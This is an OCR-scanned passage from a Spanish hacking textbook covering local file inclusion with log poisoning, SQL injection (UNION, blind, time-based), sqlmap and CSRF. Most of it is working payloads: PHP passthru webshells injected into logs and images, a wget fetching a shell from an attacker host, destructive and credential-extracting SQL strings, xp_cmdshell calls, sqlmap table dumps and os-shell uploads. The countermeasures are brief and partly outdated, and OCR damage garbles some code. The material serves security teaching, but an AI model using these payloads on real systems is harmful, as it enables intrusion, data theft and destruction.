Buscar un vector de ataque. Las caracteristicas del servidor permiten conocer el
tipo de sistema de ficheros y tener indicios de las ubicaciones tipicas de los
ficheros.
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Para el siguiente ataque hay que tener en cuenta que el servidor tiene el
sistema operativo Windows XP, con XAMP instalado por lo que utiliza el servidor
web Apache 'y MySql.

Apache almacena archivos de registro (logs) de todas las operaciones que
se efectuan en los archivos access log o error log si se produce algun error. La
localizacion de los archivos log varia segun el tipo de sistema operativo del
servidor y de su configuracion.

access.log

192.168.0.192 - - [12/Jun/2010:02:40:38 +0200] "GET /
HTTP/1.1" 200 379 "-" "Mozilla/5.0 (Windows; U; Windows NT
6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3"
192.168.0.192 - - [12/Jun/2010:02:40:39 +0200] "GET
/POC/LFI/index.php?contenidos=inicio.htm HTTP/1.1" 200 372
"http://hackers-ataqueydefensa.es/" "Mozilla/5.0 (Windows; U;
Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401
Firefox/3.6.3" 192.168.0.192 - - [12/Jun/2010:02:43:10 +0200]
"GET
/POC/LFI/index.php?contenidos=../../../../var/log/apache2/erro
r.log HTTP/1.1" 200 366 "-" "Mozilla/5.0 (Windows; U; Windows
NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3"

192.168.0.192 - - [12/Jun/2010:02:43:16 +0200] "GET
/POC/LFI/index.php?contenidos=../../../../var/log/apache2/acce
ss.log HTTP/1.1" 200 558 "-" "Mozilla/5.0 (Windows; U; Windows

NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3"

error.log

[Sat Jun 12 02:49:22 2010] [error] [client 192.168.0.192]
script '/var/www/POC/LFI/indexxxxxxxxx.php' not found or
unable to stat

Para inyectar codigo en el fichero access log solo hay que introducir una
URL errénea y quedara registrada.

http://www.web vulnerable.com/LFI/<? passthru(\$ GET[cmd]) ?>
index.php?contenidos=inicio.htm

El resultado en pantalla es el siguiente:

Not Found
The requested URL /LFI/< was not found on this server.

Apache/2.2.9 (Ubuntu) PHP/5.2.6-bt0 with Suhosin-Patch Server
at hackers-ataqueydefensa.es Port 80
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Y la linea que se anade en el fichero access log es:

192.168.0.192 - - [12/Jun/2010:03:32:42 +0200] "GET
/POC/LFI/index.php?contenidos=%3C?%20passthru(\\$ GET [cmd]) %20
?%3E HTTP/1.1" 200 416 "-" "Mozilla/5.0 (Windows; U; Windows

NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3"

En donde puede ver el resultado de la ejecucion del comando que se ha
indicado en la URL.

Ahora ya solo tiene que indicar en la ruta donde se encuentra el fichero
access.log el comando que desea ejecutar el servidor de la siguiente forma:

http:// www.web vulnerable.com/index.php?pagina
=../../../../var/log/apache2/access.log&cmd=uname -a

En el caso de intentar acceder a los archivos de /og y no obtener un
resultado correcto al encontrarnos un servidor con ciertos filtros a la hora de
almacenar los logs, no es posible realizar el ataque mediante GET, por lo que
tendriamos que hacerlo mediante el envio de datos con POST.

Otros puntos de inyeccion que pueden usarse en el archivo de access log,
son el referer o el user-agent ya que estos son datos que también almacena este
archivo. Para realizar este tipo de inyeccion, pueden usarse scripts especificos para
tal efecto, o bien usar algin programa capaz de construir cabeceras y enviarlas.

Inyeccion php en imagenes

Es muy habitual encontrarse con webs que permiten subir una imagen que
queda almacenado en el servidor. ;Qué ocurriria si creamos un archivo de texto
que contenga: <? passthru($_GET[cmd]) ?> y se guarda con extension gif 0 jpg.

El resultado es que el servidor nos deja subirlo sin problemas ya que la
extension corresponde con una imagen y en caso de que la web sea vulnerable a un
ataque LFI, es posible explotar la vulnerabilidad de la misma forma que se ha visto
antes:

http:// www.web vulnerable.com
/?file=path/avatar.gif&cmd=uname -a

En el caso de que la web vulnerable tiene algtn tipo filtro que detecta que
el archivo de imagen no tiene la cabecera correcta, se puede utilizar otra técnica en
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la que a través del uso de un programa como edijpg es posible incluir dentro de la
cabecera de una imagen el codigo fuente sin dafiar el archivo y sin que sea
perceptible para muchos filtros.

5.5.2.3 OBTENIENDO UN SHELL

Una vez que es posible ejecutar comandos de forma remota, el siguiente
paso es utilizar una shellweb para controlar mejor el sistema.

Una forma de subir al servidor la shellweb es aprovechar alguna
vulnerabilidad LFI y utilizar el comando wget de la siguiente forma:

http://www.web vuulnerable.com/?pagina=xxxx&cmd=wget
http://www.webatacante.es/shell.txt -0 shell.php

La URL nos peremite ejecutar el comando wget para descargar la shell
http://www.webatacante.es/shell.txt y guardarla como shell.php.

5.5.3 Contramedidas

Para evitar los ataques LFI es recomendable realizas las siguientes medidas
de seguridad:

e Evitar que se suban ficheros en el servidor en ubicaciones donde el
servidor web tenga permisos de ejecucion.

e Si se permite subir ficheros intentar utilizar filtros para procesar los
ficheros subidos. Por ejemplo, antes de guardar un fichero comprobar

que el fichero es una imagen.

e  Aplicar filtros para el registro de los logs del sistema.

Para evitar los ataques RFI es recomendable realizas las siguientes medidas
de seguridad:

e Desactivar la variable allow url include del fichero de configuracion
php.ini.

e Limitar al maximo el acceso al sistema de ficheros del servidor web.
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5.6 INYECCION DE SQL

El lenguaje SQL (Structured Query Language) se utiliza para interactuar
con bases de datos relacionales. Existen diferentes variantes de SQL. La mayoria
de los dialectos de uso comun en la actualidad estan basados en SQL-92, el
standard ANSI més reciente. La unidad fundamental de ejecucion en SQL es la
consulta, la cual estd formada por una coleccion de sentencias que, basicamente,
devuelven un tnico resultado. Las sentencias SQL pueden modificar la estructura
de la base de datos y manipular los contenidos.

Se entiende por inyeccion SQL el hecho de insertar una serie de sentencias
SQL en una consulta mediante la manipulacion de la entrada de datos de una
aplicacion. Con la inyeccion SQL que puede conseguir validaciones de entrada,
extraccion, modificacion de datos e incluso el compromiso total del servidor.
Dadas las diferencias inherentes en los diferentes tipos de bases de datos y
lenguajes, cada tipo de servidor tiene sus propias peculiaridades y métodos de
inyeccion. A continuacion se va a ver un ejemplo con la base de datos Access y
con el lenguaje ASP:

Cédigo — formulario de envio de datos

<FORM ACTION="login.asp" METHOD="post" target="derecha"><BR>
<B>Usuario:</B> <INPUT NAME="usuario" SIZE="15">
<BR>

<B>Contrasefia:</B> <INPUT TYPE="PASSWORD" NAME="clave"
SIZE="15">

<BR><INPUT TYPE="Submit" VALUE="login"><BR>

Dim usuario, password, Conexion, RS,sql,conta,wsql
usu= Trim(Request.Form("usuario")

pas = Trim(Request.Form("clave"))

set conexion=Server.CreateObject ("ADODB.Connection")

conexion.open "Provider=Microsoft.Jet.OLEDB.4.0;Data
Source="&Server .MapPath ("videoclub.mdb")

sql = "SELECT * FROM CLIENTE WHERE NOMBRE = '"& usu &"' AND
PASS = '" & pas & "'"

set RS=conexion.execute (sql)
If (RS.EOf = true) then

response.redirect"error.asp"
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end if
TE (sl "COD_PRIVILEGIO") =1) then
Response.Write "Te logueaste con exito."

response.write ("<tr><td><CENTER>"&RS ("nombre") &"</CENTER></t
a»m)

response.write ("<tr><td><CENTER>"&RS ("DNI") &"
euros</CENTER></td>")

end if

El ejemplo muestra el nombre y DNI del usuario coincidente con ese user y
pass de la tabla cliente.

La aplicacion tiene que enviar los datos de las variables usr y pass
proporcionados por el usuario, comprobar la coincidencia y devolver asi el registro
correcto en el caso de existir o el mensaje de error en caso de no encontrar
coincidencias.

5.6.1 Explotar la vulnerabilidad

Como puede observar en el anterior codigo, la consulta no filtra el caracter
‘ en el nombre de usuario ni en la contrasefia lo que implica que la pagina web es
vulnerable a la inyeccion SQL.

Ahora para explotarlo, necesita construir una nueva consulta a través de los
parametros de la consulta de validacion de tal forma que siempre sea verdadera.

SELECT * FROM CLIENTE WHERE NOMBRE = or '1'='1" AND
PASS = ' or '1°="1"

Como puede ver en la consulta siempre serd cierta ya que siempre 1=1, por
lo que se ejecutara y la base de datos devolvera resultados.

A continuacion puede ver una serie de inyecciones SQL para base de datos
MYSQL:

e '; drop table Usuarios -- Elimina la tabla Usuarios.

e ' having 1=1-- Muestra el mensaje de error siguiente:
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Column 'Usuarios.Id' is invalid in the select list
because it is not contained in either an aggregate
function or the GROUP BY clause.

A partir del mensaje de error se obtiene el nombre de la tabla y la
primera columna de la tabla donde se esta ejecutando.

' group by Usuarios.ld having 1=1-- Muestra el mensaje de error:

Column 'Usuarios.Usuario' is invalid in the select
list because it is not contained in either an
aggregate function or the GROUP BY clause.

donde se obtiene la segunda columna del Query al igual que el nombre
de la tabla.

' union select sum(Usuario) from Usuarios-- Muestra el mensaje de
error:

Operand data type char is invalid for sum operator. R

Se obtiene el tipo de dato de la columna a la cudl se quiere realizar la
sumatoria.

'; insert into Usuarios values('attacker', 'attacker','attacker', '1',
'Nothing', '666', '20041110' )-- Inserta un nuevo registro de la tabla
seleccionada.

' union select @@version,'1','1','1",'1",'1",'1",'1'-- Muestra el mensaje
de error:

Conversion failed when converting the nvarchar value
'Microsoft SQIL. Server 2005 - 9.00.1406.00 (Intel X86)
Mar 3 2007 18:40:02 Copyright (c) 1988-2005
Microsoft Corporation Standard Edition on Windows NT
5.1 (Build 2600: Service Pack 2) ' to data type int.
R

Se obtiene la version de la base de datos.

union select min(Usuario),'1','1','1",'1",'1",'1",'1' from Usuarios
where Usuario > 'a'-- Muestra el mensaje de error:

Conversion failed when converting the varchar value
'inquil ' to data type int.
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Se obtiene es el nombre de un usuario que empiece o que la condicion 'a’'
sea la mas cercana a los nombres de los usuarios de la tabla, que en el
ejemplo el usuario es “inquil”.

e ' union select Contraseia,l,1,1,1,1,1,1 from Usuarios where Usuario
= 'inquil'-- Muestra el mensaje de error:

Conversion failed when converting the nvarchar value
'ingl1448 ' to data type int.

Se obtiene el password del usuario indicado en la condicion.

5.6.2 Blind SQL y otras lindezas

Las inyecciones SQL se pueden utilizar para validarse ilicitamente en un
sistema, pero también pueden utilizarse para obtener informacion de las bases de
datos, ver su estructura, modificarla, eliminarla, etc. Para ello se usan clausulas del
tipo UNION o la inyeccion SQL ciega (Blind SQL).

A continuacion puede ver un ejemplo sencillo donde una pagina envia el
login y el password de un usuario a otra pagina que se encarga de comprobar si los
datos son correctos.

Cédigo que envia datos

$us=$ POST[‘usuario’];

$pas=$ POST[‘'pass’];:

if ($ GET['usuario'l || $ GET['pass']){

die ("Hack Attempt");

}

$sqgl="SELECT password FROM usuarios WHERE user = '$us'";

Cédigo que recibe datos

$resp = mysql query($sql) or die(mysqgl error());
if (mysql fetch array($resp)){
if ($resp==$pas) {

echo "Inicio de sesidén correcto";
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}else{

echo "el password $resp es incorrecto";
}

}

Para obtener la contrasefia hay una instruccion en SQL llamada UNION,
que sirve para obtener informacion de dos tablas. UNION necesita algunos
requisitos.

e Introducir la misma cantidad de valores que tiene la tabla.

e Disponer de un informe de los errores que provocaremos en la
instruccion.

Para empezar hay que tener en cuenta que la instruccion a modificar es la
siguiente:

SELECT password FROM usuarios WHERE user = 'Sus'

Como ejemplo, si introduce el nombre de usuario auditor la instruccion
queda de la siguiente forma:

SELECT password FROM usuarios WHERE user = 'auditor'

El operador en SQL UNION necesita que el nimero de columnas sea igual,
sino nos mostrara un error. Y exactamente, lo que necesita es un error, para saber
cuando la consulta estd bien o mal. El operador UNION se utiliza en el campo
usuario de la siguiente forma:

usuario: ' AND 0 UNION SELECT 1 AND 'l'="
SELECT password FROM usuarios WHERE user = '' AND 0 UNION
SELECT 1 AND '1'="'""

para lo cual SQL respondera:

The used SELECT statements have a different number of
columns:SELECT password FROM usuarios WHERE user = '' AND 0O
UNION SELECT 1 AND 'l'=""

Continuando por el mismo camino, puede hacer que nos dé un error al
tratar de unir un campo de tipo int (0 sea que guarda nimeros) a un char (guarda
letras). El codigo queda de la siguiente forma:
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' UNION SELECT MIN (Password),2,3,4,5 FROM usuarios WHERE user
= 'auditor

la sentencia seria la siguiente:

SELECT password FROM usuarios WHERE user = '' UNION SELECT
MIN (Password),2,3,4,5 FROM usuarios WHERE user = 'auditor'

que da como error:

Syntax error converting the varchar value 'evil' to a column
of data type int.

Como puede ver el error del sistema proporciona el password que del
usuario que es: evi/

El siguiente es un ejemplo, con la misma sentencia:
' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='
Y el navegador nos devuelve:

Illegal mix of collations (latinl swedish ci, IMPLICIT) and
(utf8_general ci,IMPLICIT) for operation 'UNION'

(Qué significa esto? El error se produce porque estamos introduciendo
valores en formato utff cuando debe ser en latinl. Para solucionarlo, hay que
hacerlo de la siguiente forma:

' AND 0 UNION SELECT 1,convert(user () using latinl),3,4,5 AND
ti]=1

y el navegador devuelve:

root@localhost

Para obtener la contrasefia del usuario se va a realizar un ataque del BLIND
SOL. El modo de funcionamiento de este tipo de ataque se basa en conseguir que
los comandos se ejecuten con la desventaja de no poder visualizar el resultado. Esta
falta de muestreo de resultados se produce por el tratamiento total de los codigos de
error, y la imposibilidad de modificar, a priori, ninguna informacion de la base de
datos. Pero, a pesar de todo eso, si que es posible conseguir informacion de la base
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de datos, modificando la informacién que se envia y viendo los cambios en las
respuestas que se obtienen. El objetivo del Blind SOL es detectar esos cambios para
poder averiguar la informacion extraida en funcion de esos cambios. Para eso,
utilizaremos un vector de ataque basado el logica booleana, o sea, verdadero o
falso. Una sentencia en la SQL+ en la que los datos que se muestran cambian y una
SQLO en la que los datos que se muestran no cambian. A continuacion puede ver
un ejemplo en SQLO y SQL+.

SQLO http://www.ejemplo.com/noticias.php?id=1 and 1=1
SQL+ http://www.ejemplo.com/noticias.php?id=1 and 1=0

En la tltima sentencia se deben producir cambios en el resultado. Si no se
producen, entonces hay que realizar inyeccion a ciegas.

(Como puede sacar mas partido? Pues continuando con el ejemplo
anterior, suponga que quiere saber si existe una determinada tabla:

http://www.ejemplo.com/noticias.php?id=1 and exists (select *
from usuarios)

Si el resultado de la consulta sigue siendo la misma noticia con id=1,
entonces existe la tabla. En el caso de que no sea asi entonces sabra que no existe la
tabla o no tiene acceso a ella.

Suponga que quiere llegar més lejos y saber el nombre del usuario
administrador de una base de datos MySQL:

https://www.wev.com/noticias.php?id=1 and
300>ASCITI (substring (user (),1,1)

Con esa tultima inyeccion obtiene si el valor ASCII de la primera letra del
nombre del usuario es menor que 300 y por tanto puede concluir que es una SQLO.
Evidentemente se pueden ir acotando valores para dar con el resultado correcto.

Como es una tarea laboriosa el hecho de localizar y explotar una web
vulnerable, existen diversas técnicas de automatizacion usadas por diferentes
programas y que van desde la busqueda de palabras clave en la respuesta de la
pagina, hasta comparaciones basados en firmas MDS.

En la web www.datasecurity.com/sqlinjection-tools.com se pueden
encontrar diversas herramientas para el escaneo y explotacion de Blind SOL.
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5.6.3 Time based Blind SQL

Una vez entendida la técnica de inyecciones SQL a ciegas, se va a avanzar
en las técnicas que se usan para la automatizacion de extraccion de informacion a
ciegas mediante el uso de retardos de tiempo que se conocen como Time Based
Blind SQL Injection (inyeccion ciega SQL basada en tiempo).

(Cuando hay que recurrir a este tipo de ataque? Es necesario utilizar este
atque en uno de los siguientes escenarios:

e Cuando una aplicaciéon web muestra la misma pagina por defecto en las
respuestas frue o false de las pruebas 1=1y 1=0.

e Cuando una aplicacién web muestra la misma pagina de error en las
respuestas true o false de las pruebas 1=1y 1=0.

e Lainyeccion esta funcionando pero no se muestra en pantalla.

Para entender mejor el funcionamiento de esta técnica, a continuacion
puede verse el codigo en que se busca obtener el valor ASCII de un determinado
parametro vulnerable en funcion del tiempo de respuesta, ya que si se cumple la
condicion se mantiene el sistema en espera durante 5 segundos.

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0
waitfor delay '0:0:5'

..it is possible to determine whether a given bit in a string
is 'l' or ’0’.That is, the above query will pause for five
seconds if bit '@bit' of byte '@byte' in string '@s' is 'l1.'
For example, the following query:

declare @s varchar(8000) select @s = db name() if
(ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor
delay '0:0:5'

will pause for five seconds if the first bit of the first byte
of the name of the current database is 1.

Otra forma de realizar el ataque es utilizar otras formas para provocar
retardos. Por ejemplo, en los servidores SQL Server puede hacerlo utilizando
procedimientos almacenados como xp cmdshell como es el caso del comando
ping.

xp cmdshell ‘ping -n 10 127.0.0.1" application paused 10
seconds.

Las técnicas basadas en tiempos se pueden extender a cualquier accion que
se pueda realizar con un procedimiento almacenado y genere un retardo de tiempos
0 una accion medible.
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Existen varias herramientas, como SQOL Ninja que utilizan el método Wait-
for para los motores de Microsoft SOL Server.

A continaucion se muestran ejemplos de ataques para los servidores de
base de datos mas utilizados:

e  Microsoft SQL Server

http://www.web vulnerable.com/index.aspx?id=1; if

(exists (select * from pass)) waitfor delay ‘0:0:5'--
En el caso de que exista la tabla pass y que contenga alglin registro va a
pausar la respuesta de la pagina web durante 5 segundos. Si la respuesta
se obtiene en un tiempo inferior deduciremos que la tabla pass no existe
y que no tiene contenido.

e Oracle

http://www.web vulnerable.com/prog.cod?id=1; begin if
(condicion) then dbms lock.sleep(5); end if; end;

e MySQL

http://www.web vulnerable.com/index.php?id=1 and
exists(select * from contrasena) and
benchmark (5000000, md5 (rand())) =0
http:// www. hackers-ataque-y-defensa .es / index.php?id=1 and
exists(select * from pass) and sleep(5)

5.6.3.1 EJEMPLO

En el siguiente ejemplo se analiza un simple codigo en aspx, que se ejecuta
sobre un servidor Internet Information Server 7 que utiliza SQL Server 2008.
Existen dos tablas (una de noticias y otra de usuarios) que se muestran en pantalla
los datos de todas las noticias o de una concreta si pasamos su identificador.

Default.aspx

<%@ Page Language="C#" AutoEventWireup="true"
CodeFile="Default.aspx.cs" Inherits=" Default" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd">
<html xmln http://www.w3.0rg/1999/xhtml">

<head runat="server">

<title></title>

</head>

<body>
<form id="forml" runat="server">
<div>

<asp:GridView ID="GridViewl" runat="server"
DataKeyNames="id">
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</asp:GridView>
---<br />
<asp:Literal ID="Literall" runat="server"></asp:Literal>
</div>
</form>
</body>
</html>

Default.aspx.cs

using System;

using System.Collections.Generic;

using System.Web;

using System.Web.UI;

using System.Web.UI.WebControls;

using Hackers-ataque-y-defensa.dbSQLServer;

using System.Data;

public partial class Default : System.Web.UI.Page

protected void Page Load(object sender, EventArgs e)

dbsQLServer sql = new dbSQLServer() ;

//String param id =
Validaciones.secureSQL (Request.QueryString["id"]); CON ESTA
LINEA 7 ACTIVAMOS LOS FILTROS DE VARIABLES SI LO
DESCOMENTAMOS

String param id = Request.QueryString["id"];

//Este paramtro lo incluimos para indicar si

filtramos o no la querry, si pasamos el
parametro en la consulta si se filtra

String param seguro = Request.QueryString["seguro"];

if (!String.IsNullOrEmpty (param seguro))

param id = Validaciones.secureSQL(param id) ;

//Fin del parametro seguro

//CONSULTA CON EL PARAMETRO EN EL QUE SE REALIZARA LA
INYECCION AL NO ESTAR 1l FILTRADO

String sqgl final;

if (String.IsNullOrEmpty (param id))

sgl final = "SELECT * FROM NOTICIAS";
}
else {
sql final = "SELECT * FROM NOTICIAS WHERE ID=" +

param id + ";";

DataSet datos=sql.SelectDB(sgl final);
GridViewl.DataSource = datos;
GridViewl.DataBind() ;
String tabla = "<table>";
foreach (DataRow fila in datos.Tables[0] .Rows) {
tabla += "<tr><td>" + fila["id"] + "</td><td>" +
fila["titulo"] + "</td><td>" + fila["noticia"] + "</td></tr>";

tabla += "</table>";
Literall.Text = tabla;
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Una vez localizada una noticia http://www.web vulnerable.com/sqli/
Default.aspx?id=1 se comprueba la vulnerabilidad de la siguiente forma:

/sqli/default.aspx id=1;waitfor delay '0:0:5';--

Como tarda 5 segundos en devolver la respuesta quiere decir que se esta
ejecutando la inyeccion por lo que es posible extraer la informacion de la base de
datos.

5.6.3.2 USUARIO DE LA BASE DE DATOS

Para comprender mejor el siguiente paso es necesario recordar el uso de la
funcion substring que tiene la siguiente sintaxis:

SUBSTRING (Expresion ,inicio ,desplazamiento )
Por ejemplo, el codigo:
SELECT salida = SUBSTRING('123456', 2, 3);

devuelve: 234

Ahora se contruye la consulta que ejecuta el waitfor delay y espera 5
segundos para obtener la respuesta en el caso de que el caracter 25 de la consulta
de la variable @@version sea correcta y sea el nimero 5, indicando asi que se trata
de una base de datos Microsoft SOL Server 2005.

/sqli/default.aspx?id=1;if not (substring((select
@@version) ,25,1) <> 5) waitfor delay '0:0:5';--

y si el caracter 25 es el numero 0, entonces es la base de datos Microsoft SOL
Server 2000.

/sqgli/default.aspx?id=1;if not (substring((select
@@version) ,25,1) <> 0) waitfor delay '0:0:5';--

A continuacion, se ejecuta el waitfor delay y espera 5 segundos para
obtener la respuesta en el caso de que exista el usuario sa.

/sqli/default.aspx?id=1;if not(select system user) <> 'sa’
waitfor delay '0:0:5'—
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Se ejecuta el waitfor delay y esperar 5 segundos para obtener la respuesta
en el caso de que el usuario tenga permisos de sysadmin.

/sqli/default.aspx?id=1;if is srvrolemember ('sysadmin') > 0
waitfor delay '0:0:5';--

En el caso de querer ejecutar algin comando se utiliza xp _cmdshell. En el
siguiente ejemplo se realiza un ping.

/sqli/default.aspx id=1;exec master..xp cmdshell 'ping -n 5
127.0.0.1';--

Como puede verse, las inyecciones SQL basadas en tiempo es un vector de
ataque muy explotable y con muchas variantes posibles en casi todos los motores
de bases de datos. A continuacion, se utiliza sqg/map, que permite automatizar los
ataques de SQL inyection de una forma sencilla, e incluye una serie de
posibilidades como obtencion de shell directa e inversa, sistemas de escalado de
privilegios, sistemas de evasion y muchas mas opciones que facilitaran en gran
medida la explotacion tanto de esta vulnerabilidad como del resto de
vulnerabilidades basadas en inyecciones SQL.

5.6.4 SQLmap

SOLmap (http://sqlmap.org/) es una herrmienta desarrollada en Python,
que permite comprobar y explotar sistemas vulnerables a inyeccion SQL. Permite
identificar y explotar multiples bases de datos (véase la tabla 4.2).

Tabla 5.4. Bases de dos con las que trabaja SOL map
Base de datos Indentificar Explotar

DB2

Informix
Interbase
Microsoft Access
Microsoft SQL
MySQL

Oracle
PostgreSQL
Sybase

< | << <]

P P P P - P P R
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Algunas de las caracteristicas mas importantes que permite son: enumerar
los usuarios, los hashes de contrasefias, los privilegios, las bases de datos, volcado
de tablas o columnas especificas, ejecutar consultas SQL, leer archivos del sistema
de archivos, ejecutar comandos de sistema, subir archivos y crear shell interactivas.

El comportamiento de SQLmap se controla mediante su fichero de
configuracion (sg/map.conf) o mediante las opciones de linea de comandos. A
continuacién se muestran dos ejemplos de uso a través la linea de comandos
utilizando la distribucion Backtrack. En ambos ejemplos, el primer paso es acceder
al directorio donde se encuentra SQLmap:

# cd /pentest/database/sglmap

Ejemplo 1. Acceder a una tabla de una base de datos

Identifica la version de la base de datos del sistema a atacar indicando con
la opcion —v 2 el nivel de muestreo en pantalla:

# python sglmap.py -u
"http://www.webvulnerable.com/POC/SQLI/bsqgl.php?id=3" -v 2

y se obtiene la salida:

the back-end DBMS is MySQL back-end DBMS: MySQL 5

Se obtienen las bases de datos del servidor:

# python sglmap.py -u "
http://www.webvulnerable.com/POC/SQLI/bsqgl.php?id=1" --dbs -v
2

y se obtiene la salida:

available databases [7]:

[*] hackers-ataque-y-defensabd
[*] cdcol

[*] information schema

[*] joomla

[*] mysql

[*] phpmyadmin

[*] test

Ahora acceda a las tablas de la base de datos hackers-ataque-y-defensabd:
# python sglmap.py -u

"http://www.webvulnerable.com/POC/SQLI/bsql.php?id=1" --tables
-D "hackers-ataque-y-defensabd" -v 2
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y se obtiene la salida:

Database: hackers-ataque-y-defensabd
[3 tables]

| login |
| noticias |
| users |

Ahora se accede a la estructura de la tabla login de la base de datos
hackers-ataque-y-defensabd:

# python sglmap.py -u "
http://www.webvulnerable.com/POC/SQLI/bsql.php?id=3" --columns
-T login -D hackers-ataque-y-defensabd -v 2

y se obtiene la salida:

Database: hackers-ataque-y-defensabd
Table: login
[2 columns]

mmmmmmmmoe e +
| Column | Type |
mmmmmmmmo - mmmm o +
| password | text |
| usuario | text |
mmmmmmmmo- e +

Ahora se muestra el contenido de la tabla login:

# python sglmap.py -u

"http://www.webvulnerable.com/POC/SQLI/bsql.php?id=3" --dump -
T login -D hackers-ataque-y-defensabd -v 1

y se obtiene la salida:

Database: hackers-ataque-y-defensabd
Table: login
[3 entries]

| 666hackers-ataque-y-defensa | Admin
| 666hackers-ataque-y-defensa | Admin
| 666hackers-ataque-y-defensa | Admin |
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Ejemplo 2. Descargar un fichero del servidor

En el siguiente ejemplo se descarga el contenido de un archivo alojado en
el servidor en c:

# python sglmap.py -u "
http://www.webvulnerable.com/POC/SQLI/bsqgl.php?id=3" --read-
file "C:\archivoprueba.txt" -v 2

y se obtiene la salida:

C:/archivoprueba.txt file saved to:
' /pentest/database/sqglmap/output/www.hackers-
ataqueydefensa.es/files/C_ archivoprueba.txt'

A continuacion se activa un shell subiendo dos ficheros. Por un lado el
uploader para subir el archivo y por otro lado un shellweb que permite ejecutar
comandos en el servidor. Debemos indicar el tipo de fichero (ASP, PHP o JSP) y la
ruta donde sube. Pulse Enter para que utilice los valores por defecto:

# python sglmap.py -u "
http://www.webvulnerable.com/POC/SQLI/bsqgl.php?id=3" --os-
shell -v 2

y se obtiene la salida:

[21:43:07] [INFO] the uploader agent has been successfully
uploaded on 'C:/xampp/htdocs/' (' http://www.webvulnerable.com
/tmpuvfqj.php')

[21:43:07] [INFO] the backdoor has probably been successfully
uploaded on 'C:/xampp/htdocs/', go with your browser to '
http://www.webvulnerable.com/tmpbtfsd.php' and enjoy it!
[21:43:07] [INFO] calling OS shell. To quit type 'x' or 'q'
and press ENTER

os-shell>

Y ya puede acceder acceder al shell web que se ha subido al servidor
(http://www.webvulnerable.com/tmpbtfsd.php) y que se muestra en la figura 5.31.

Figura 5.31. Shellweb
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5.6.5 Contramedidas

Para evitar el ataque de inyeccion SQL hay que filtrar los datos que se
envian a la consulta SQL. Para ello puede filtrar el caracter “peligrosos” (por
ejemplo, °, <, >).

Si las consultas se realizan en PHP la mejor forma de evitar este tipo de
ataques es activar las magic quotes. Las magic quotes permiten desactivar todas las
cadenas introducidas por el usuario, que parezcan peligrosas, como comillas,
diagonales, \0 etc.

5.7 CSRF (CROSS-SITE REQUEST FORGERY)

Un ataque Cross Site Request Forgery (CSRF) o falsificacion de peticion
en sitios cruzados, se basa en aprovechar los privilegios o permisos que un usuario
tiene en un sitio web. Por ejemplo, al conectarse un usuario en un foro, este puede
realizar determinadas acciones como cambiar la contrasefia, enviar un mesaje,
cambiar su contrasefia, etc. Pues bien, este tipo de ataque se aprovecha de los
permisos del usuario para tomar el control de esas acciones que el usuario puede
realizar en el servidor usando sus propios permisos y privilegios. Para poder
realizar las operaciones, es necesario que el usuario acceda a un determinado
enlace malicioso que sera el que realiza las operaciones con su sesion.

Dado que este tipo de ataque requiere que la victima acceda a un enlace, en
ocasiones es necesario utilizar técnicas de ingenieria social para realizar el ataque.

Este ataque no debe confundirse con XSS, ya que en su funcionamiento,
XSS aprovecha la confianza que ofrece su navegador web, en cambio CSRF
aprovecha la confianza de la web en cuestion sobre el usuario.

A continuacion se muestra un ejemplo del codigo de una péagina
vulnerable:

<?php

if (isset($ GET['Change'l)) {
// Transform alas request en variables
$pass curr = $ GET['password current'];
$pass new = $ GET['password new'l];
$pass conf = $ GET['password conf'l];

// Limpia la entrada de datos

$pass curr = stripslashes( $pass curr );

$pass curr mysqgl real escape string( $pass curr );
$pass_curr md5( $pass_curr );
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// Comprueba que la password actual es correcta

$qry = "SELECT password FROM “users~ WHERE
user='admin' AND password='$pass curr';";

$result = mysqgl query($qgry) or die('<pre>'

mysqgl error() . '</pre>' );
if (($pass new == $pass conf) && ( $result &&
mysqgl num rows( $result ) == 1 )){

$pass new
$pass new

mysqgl real escape string($pass new);
md5 ($pass new) ;

$insert="UPDATE “users  SET password = '$pass new'
WHERE user = 'admin';";

$result=mysqgl query($insert) or die('<pre>'
mysqgl error() . '</pre>' );

echo "<pre> Password Cambiada </pre>";
mysqgl close();

else{
echo "<pre> Password no coincide o es incorrecta
</pre>";

2>
Para realizar un ataque CSRF aprovechando la vulnerabilidad de la pagina
se puede hacer utilizando el siguiente enlace donde se hace referencia a la pagina

anterior:

http://'www.webvulnerable.com/csrf/?password new=passwordquequiera
&password_conf= passwordquequiera &Change=Changett

Si analiza la URL puede ver que se solicita cambiar la contraseiia del
usuario por la nueva contrasefia passwordquequiera.

Para realizar el ataque disfrazando el enlace se puede hacer de varias
formas:

e Imagen

<img src="http://www.webvulnerable.es/?acciones">

e Script

<script src=" http://www.webvulnerable.es/?acciones ">
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e JFRAME

<iframe src=" http://www.webvulnerable.es/?acciones ">

e JAVASCRIPT

<script>

var test = new Image(); var test = new Image ();
test.src = " http://www.webvulnerable.es/?acciones ";
</script>

5.8 ATAQUES A GESTORES DE CONTENIDOS

Los gestores de contenido permiten crear, mantener y gestionar sitios Web
con suma facilidad, consiguiendo que los administradores puedan centrarse en
tareas mas creativas. El entorno proporcionado permite actualizar, mantener y
desarrollar la funcionalidad de los sitios por parte de multiples usuarios. Aunque la
mayoria permiten gestionar contenido Web (por lo que en ocasiones son
denominados Web Content Management o WCM), su aplicacion no solo se limita

en este campo.

Existen muchos gestores de contenidos depndiendo de su uso. A
continuacion se realiza una clasificacion basica de gestores de contenidos para

tener presente su gran importancia y difusion:

Blogs o bitacoras. Permiten la creacion de paginas personales para la
publicacion periodica de contenidos. Su uso se encuentra muy
extendido, sea cual sea el objetivo del blog o el tipo de usuario del
mismo. En esta categoria uno de los mas utilizados es WordPress.

Foros. En los foros es posible la creacion de debates, temas, hilos...
para compartir opiniones entre usuarios con unos mismos intereses. Al
igual que los blogs disponen de un gran uso, pudiendo encontrar
practicamente un foro de cualquier tematica imaginable. A modo de
ejemplo, se encuentra SMF, phpBB o PunBB.

Wikis. Este tipo de plataformas estdn pensadas para el desarrollo
